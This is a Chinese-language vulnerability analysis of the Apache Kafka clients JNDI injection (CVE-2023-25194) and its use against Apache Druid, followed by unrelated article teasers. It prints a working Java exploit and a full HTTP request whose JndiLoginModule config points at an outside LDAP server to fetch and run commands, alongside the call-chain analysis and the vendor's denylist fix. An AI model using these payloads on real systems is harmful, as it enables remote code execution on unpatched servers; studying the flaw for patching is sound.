CVE-2023-25194 Kafka JNDI 注入分析

Apache Kafka Clients Jndi Injection

漏洞描述

Apache Kafka 是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。Kafka Connect 是一种用于在 kafka 和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于 SASL JAAS 配置和 SASL 协议的任意 Kafka 客户端,对 Kafka Connect worker 创建或修改连接器时,通过构造特殊的配置,进行 JNDI 注入来实现远程代码执行。

影响范围

2.4.0 <= Apache Kafka <= 3.3.2

前置知识

Kafka 是什么

Kafka 是一个开源的分布式消息系统,Kafka 可以处理大量的消息和数据流,具有高吞吐量、低延迟、可扩展性等特点。它被广泛应用于大数据领域,如日志收集、数据传输、流处理等场景。

感觉上和 RocketMQ 很类似,主要功能都是用来进行数据传输的。

Kafka 客户端 SASL JAAS 配置

简单认证与安全层 (SASL, Simple Authentication and Security Layer ) 是一个在网络协议中用来认证和数据加密的构架,在 Kafka 的实际应用当中表现为 JAAS。

Java 认证和授权服务(Java Authentication and Authorization Service,简称 JAAS)是一个 Java 以用户为中心的安全框架,作为 Java 以代码为中心的安全的补充。总结一下就是用于认证。有趣的是 Shiro (JSecurity) 最初被开发出来的原因就是由于当时 JAAS 存在着许多缺点

参考自 https://blog.csdn.net/yinxuep/article/details/103242969 还有一些细微的配置这里不再展开。动态设置和静态修改 .conf 文件实际上效果是一致的。

服务端配置

1、通常在服务器节点下配置服务器 JASS 文件,例如这里我们将其命名为 kafka_server_jaas.conf,内容如下

KafkaServer {org.apache.kafka.common.security.plain.PlainLoginModule requiredusername="eystar"password="eystar8888"user_eystar="eystar8888"user_yxp="yxp-secret";
};

说明:

username +password 表示 kafka 集群环境各个代理之间进行通信时使用的身份验证信息。

user_eystar="eystar8888" 表示定义客户端连接到代理的用户信息,即创建一个用户名为 eystar,密码为 eystar8888 的用户身份信息,kafka 代理对其进行身份验证,可以创建多个用户,格式 user_XXX=”XXX”

2、如果处于静态使用中,需要将其加入到 JVM 启动参数中,如下

if [ "x$KAFKA_OPTS" ]; thenexport KAFKA_OPTS="-Djava.security.auth.login.config=/opt/modules/kafka_2.11-2.0.0/config/kafka_server_jaas.conf"fi

https://kafka.apache.org/documentation/#brokerconfigs_sasl.jaas.config

客户端配置

基本同服务端一致,如下步骤

1、配置客户端 JAAS 文件,命名为 kafka_client_jaas.conf

KafkaClient {org.apache.kafka.common.security.plain.PlainLoginModule requiredusername="eystar"password="eystar8888";
};

2、JAVA 调用的 Kafka Client 客户端连接时指定配置属性 sasl.jaas.config

sasl.jaas.config=org.apache.kafka.common.security.plain.PlainLoginModule required \username="eystar" \
password="eystar8888";
// 即配置属性:(后续会讲到也能够动态配置,让我想起了 RocketMQ)
Pro.set(“sasl.jaas.config”,”org.apache.kafka.common.security.plain.PlainLoginModule required username=\"eystar\" password=\"eystar8888\";";
”);
Kafka 客户端动态修改 JAAS 配置

方式一:配置 Properties 属性,可以注意到这一个字段的键名为 sasl.jaas.config,它的格式如下

loginModuleClass controlFlag (optionName=optionValue)*;

其中的 loginModuleClass 代表认证方式, 例如 LDAP, Kerberos, Unix 认证,可以参考官方文档 https://docs.oracle.com/javase/8/docs/technotes/guides/security/jgss/tutorials/LoginConfigFile.html 其中有一处为 JndiLoginModule,JDK 自带的 loginModule 位于 com.sun.security.auth.module

03e1b6e044fe6c205ed926f52648545f.jpeg
//安全模式 用户名 密码
props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
props.setProperty("security.protocol", "SASL_PLAINTEXT");
props.setProperty("sasl.mechanism", "PLAIN");

方式二:设置系统属性参数

// 指定kafka_client_jaas.conf文件路径 
String confPath = TestKafkaComsumer.class.getResource("/").getPath()+ "/kafka_client_jaas.conf"; 
System.setProperty("java.security.auth.login.config", confPath);
实现代码

消费者

public class TestComsumer {public static void main(String[] args) {Properties props = new Properties();props.put("bootstrap.servers", "192.168.1.176:9092");props.put("group.id", "test_group");props.put("enable.auto.commit", "true");props.put("auto.commit.interval.ms", "1000");props.put("key.deserializer","org.apache.kafka.common.serialization.StringDeserializer");props.put("value.deserializer","org.apache.kafka.common.serialization.StringDeserializer");// sasl.jaas.config的配置props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");props.setProperty("security.protocol", "SASL_PLAINTEXT");props.setProperty("sasl.mechanism", "PLAIN");KafkaConsumer<String, String> consumer = new KafkaConsumer<>(props);consumer.subscribe(Arrays.asList("topic_name"));while (true) {try {ConsumerRecords<String, String> records = consumer.poll(Duration.ofMillis(100));for (ConsumerRecord<String, String> record : records)System.out.printf("offset = %d, partition = %d, key = %s, value = %s%n",record.offset(), record.partition(), record.key(), record.value());} catch (Exception e) {e.printStackTrace();}}}}

生产者

public class TestProduce {public static void main(String args[]) {Properties props = new Properties();props.put("bootstrap.servers", "192.168.1.176:9092");props.put("acks", "1");props.put("retries", 3);props.put("batch.size", 16384);props.put("buffer.memory", 33554432);props.put("linger.ms", 10);props.put("key.serializer","org.apache.kafka.common.serialization.StringSerializer");props.put("value.serializer","org.apache.kafka.common.serialization.StringSerializer");//saslprops.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");props.setProperty("security.protocol", "SASL_PLAINTEXT");props.setProperty("sasl.mechanism", "PLAIN");Producer<String, String> producer = new KafkaProducer<>(props);/*** ProducerRecord 参数解析 第一个:topic_name为生产者 topic名称,* 第二个:对于生产者kafka2.0需要你指定一个key* ,在企业应用中,我们一般会把他当做businessId来用,比如订单ID,用户ID等等。 第三个:消息的主要信息*/try {producer.send(new ProducerRecord<String, String>("topic_name", Integer.toString(i), "message info"));} catch (InterruptedException e) {e.printStackTrace();}}}

漏洞复现

漏洞触发点其实是在 com.sun.security.auth.module.JndiLoginModule#attemptAuthentication 方法处

b0dea5a8494c89645e0493c31a9db923.jpeg
lookup.png

理顺逻辑很容易构造出 EXP

import org.apache.kafka.clients.consumer.KafkaConsumer;
import org.apache.kafka.clients.producer.KafkaProducer;import java.util.Properties;public class EXP {public static void main(String[] args) throws Exception {Properties properties = new Properties();properties.put("bootstrap.servers", "127.0.0.1:1234");properties.put("key.deserializer", "org.apache.kafka.common.serialization.StringDeserializer");properties.put("value.deserializer","org.apache.kafka.common.serialization.StringDeserializer");properties.put("sasl.mechanism", "PLAIN");properties.put("security.protocol", "SASL_SSL");properties.put("sasl.jaas.config", "com.sun.security.auth.module.JndiLoginModule " +"required " +"user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/Base64/Q2FsYw==\" " +"useFirstPass=\"true\" " +"group.provider.url=\"xxx\";");KafkaConsumer<String, String> kafkaConsumer = new KafkaConsumer<>(properties);kafkaConsumer.close();}
}
814adc955649029cbabb4cb535e31995.jpeg

漏洞分析

前面有非常多的数据处理与赋值,这里就跳过了,直接看 org.apache.kafka.clients.consumer.KafkaConsumer 类的第 177 行 ClientUtils.createChannelBuilder(),跟进。

b8364f11fd969058411c049f4f35685d.jpeg

继续跟进,这里会先判断 SASL 模式是否开启,只有开启了才会往下跟进到 create() 方法

31b1eff1a101fdfed19be96dd51f1648.jpeg
SASL_SSL.png

跟进 create() 方法,做完客户端的判断和安全协议的判断之后,调用了 loadClientContext() 方法,跟进,发现其中还是加载了一些配置。

b490241d38f5b6c8baf6704dcefa1486.jpeg

跳出来,跟进 ((ChannelBuilder)channelBuilder).configure(configs) 方法,最后跟到 org.apache.kafka.common.security.authenticator.LoginManager 的构造函数。

757d15ad4bcf74ba7a7f7e78a7dacd06.jpeg
LoginManager.png

跟进 login() 方法,此处 new LoginContext(),随后调用 login() 方法,跟进

ca4c7e80a0fbac4525102ac86b76659a.jpeg

这里会调用 JndiLoginModule 的 initialize() 方法

7c9960aa4a7c0312b1591191c18b839f.jpeg

初始化完成之后,此处调用 JndiLoginModule 的 login() 方法,最后到 JndiLoginModule 的 attemptAuthentication() 方法,完成 Jndi 注入。

9e7d587e81a87901210cf096ae019e8d.jpeg

漏洞修复

在 3.4.0 版本中, 官方的修复方式是增加了对 JndiLoginModule 的黑名单

org.apache.kafka.common.security.JaasContext#throwIfLoginModuleIsNotAllowed

private static void throwIfLoginModuleIsNotAllowed(AppConfigurationEntry appConfigurationEntry) {Set<String> disallowedLoginModuleList = (Set)Arrays.stream(System.getProperty("org.apache.kafka.disallowed.login.modules", "com.sun.security.auth.module.JndiLoginModule").split(",")).map(String::trim).collect(Collectors.toSet());String loginModuleName = appConfigurationEntry.getLoginModuleName().trim();if (disallowedLoginModuleList.contains(loginModuleName)) {throw new IllegalArgumentException(loginModuleName + " is not allowed. Update System property '" + "org.apache.kafka.disallowed.login.modules" + "' to allow " + loginModuleName);}
}

Apache Druid RCE via Kafka Clients

影响版本:Apache Druid <= 25.0.0

Apache Druid 是一个实时分析型数据库, 它支持从 Kafka 中导入数据 (Consumer) , 因为目前最新版本的 Apache Druid 25.0.0 所用 kafka-clients 依赖的版本仍然是 3.3.1, 即存在漏洞的版本, 所以如果目标 Druid 存在未授权访问 (默认配置无身份认证), 则可以通过这种方式实现 RCE

有意思的是, Druid 包含了 commons-beanutils:1.9.4 依赖, 所以即使在高版本 JDK 的情况下也能通过 LDAP JNDI 打反序列化 payload 实现 RCE

  • • 漏洞 UI 处触发点:Druid Web Console - Load data - Apache Kafka

在这里可以加载 Kafka 的 Data,其中可以修改配置项 sasl.jaas.config,由此构造 Payload

POST http://124.222.21.138:8888/druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 124.222.21.138:8888
Content-Length: 916
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.43
Content-Type: application/json
Origin: http://124.222.21.138:8888
Referer: http://124.222.21.138:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5,zh-TW;q=0.4,no;q=0.3,ko;q=0.2
Connection: close{"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:1234",
"sasl.mechanism":"SCRAM-SHA-256","security.protocol":"SASL_SSL","sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},"topic":"123","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{},"granularitySpec":{"rollup":false}},"tuningConfig":{"type":"kafka"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}
274f5f6e1295a99386eb7bb5d0589cd9.jpeg 499b92f6e31003a66a71e189aa43549b.jpeg

在 druid-kafka-indexing-service 这个 extension 中可以看到实例化 KafkaConsumer 的过程

4ab1f39c8176a8eaedf4873584cf479c.jpeg

而上面第 286 行的 addConsumerPropertiesFromConfig() 正是进行了动态修改配置

Apache Druid 26.0.0 更新了 kafka 依赖的版本

https://github.com/apache/druid/blob/26.0.0/pom.xml#L79

ad7f5c52ec7feb0c3ed44ce3d2c545a5.jpeg

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

7475ae399d73ebf375003b9b3cfc8826.gif

参与11.11狂欢,戳“阅读原文”

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/169278.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2023年第十六届山东省职业院校技能大赛高职组“信息安全管理与评估”赛项规程

第十六届山东省职业院校技能大赛 高职组“信息安全管理与评估”赛项规程 一、赛项名称 赛项名称&#xff1a;信息安全管理与评估 英文名称&#xff1a;Information Security Management and Evaluation 赛项组别&#xff1a;高职组 赛项归属&#xff1a;电子与信息大类 二…

虹科示波器 | 汽车免拆检测 | 2017款路虎发现车行驶中发动机抖动且加速无力

一、故障现象 一辆2017款路虎发现车&#xff0c;搭载3.0L发动机&#xff0c;累计行驶里程约为3.8万km。车主反映&#xff0c;车辆在行驶过程中突然出现发动机抖动且加速无力的现象&#xff0c;于是请求拖车救援。 二、故障诊断 拖车到店后首先试车&#xff0c;发动机怠速轻微抖…

汇编与反汇编

程序处理的4个步骤 我们的第一个LED程序涉及两个文件&#xff1a;start.S、main.c&#xff0c;它们的处理过程如下&#xff1a; 对于汇编程序&#xff0c;经过汇编之后&#xff0c;转换成目标文件&#xff08;里面包含机器码&#xff09;。对于C程序&#xff0c;经过预处理之…

(二)正点原子I.MX6ULL u-boot移植

一、概述 这里使用的是NXP官方2022.04发布的uboot&#xff0c;移植到正点原子阿尔法开发板&#xff08;v2.1&#xff09; u-boot下载&#xff1a;gitgithub.com:nxp-imx/uboot-imx.git 移植是基于NXP的mx6ull_14x14_evk 二、编译NXP官方uboot 进入NXP的u-boot目录 先在Makefile…

【算法专题】双指针—三数之和

力扣题目链接&#xff1a;三数之和 一、题目解析 二、算法原理 解法一&#xff1a;排序暴力枚举利用set去重 代码就不写了&#xff0c;你们可以试着写一下 解法二&#xff1a;排序双指针 这题和上一篇文章的两数字和方法类似 排序固定一个数a在这个数的后面区间&#xff0…

软件安全测试怎么做?如何确保软件授权安全

在数字化不断演进的今天&#xff0c;软件安全测试变得至关重要。它验证了软件是否容易受到网络攻击&#xff0c;并检验恶意或意外输入对操作的影响。安全测试的目标是保障系统和信息的安全性和可靠性&#xff0c;确保它们不接受未授权的输入。 一、安全测试准备 开发者必须认识…

AI系统ChatGPT源码+详细搭建部署教程+AI绘画系统+支持GPT4.0+Midjourney绘画+已支持OpenAI GPT全模型+国内AI全模型

一、AI创作系统 SparkAi创作系统是基于OpenAI很火的ChatGPT进行开发的Ai智能问答系统和Midjourney绘画系统&#xff0c;支持OpenAI-GPT全模型国内AI全模型。本期针对源码系统整体测试下来非常完美&#xff0c;可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如…

Leetcode刷题详解—— 找出所有子集的异或总和再求和

1. 题目链接&#xff1a;1863. 找出所有子集的异或总和再求和 2. 题目描述&#xff1a; 一个数组的 异或总和 定义为数组中所有元素按位 XOR 的结果&#xff1b;如果数组为 空 &#xff0c;则异或总和为 0 。 例如&#xff0c;数组 [2,5,6] 的 异或总和 为 2 XOR 5 XOR 6 1 。…

亚马逊云AI应用科技创新下的Amazon SageMaker使用教程

目录 Amazon SageMaker简介 Amazon SageMaker在控制台的使用 模型的各项参数 pytorch训练绘图部分代码 Amazon SageMaker简介 亚马逊SageMaker是一种完全托管的机器学习服务。借助 SageMaker&#xff0c;数据科学家和开发人员可以快速、轻松地构建和训练机器学习模型&#…

金融信贷行业如何准确——大数据精准定位获客渠道

通过大数据精准获客&#xff0c;不仅可以及时拦截网址浏览量&#xff0c;还可以访问移动贷款应用软件的高频活跃客户和新注册客户。此外&#xff0c;通过大数据进行准确的客户获取&#xff0c;还可以获得电话座机号码的实时通信记录&#xff0c;捕捉小程序应用程序和关键词搜索…

18. 深度学习 - 从零理解神经网络

文章目录 本文目标预测趋势与关系波士顿房价预测 Hi, 你好。我是茶桁。 我们终于又开启新的篇章了&#xff0c;从今天这节课开始&#xff0c;我们会花几节课来理解一下深度学习的相关知识&#xff0c;了解神经网络&#xff0c;多层神经网络相关知识。并且&#xff0c;我们会尝…

PostgreSql中解析JSON字段和解析TEXT中的JSON字段

初始化操作 创建表 CREATE TABLE orders ( "ID" int8 NOT NULL,"info_j" json NOT NULL,"info_t" text NOT NULL );初始化表 INSERT INTO orders("ID", "info_j","info_t") VALUES (1, {"name":&qu…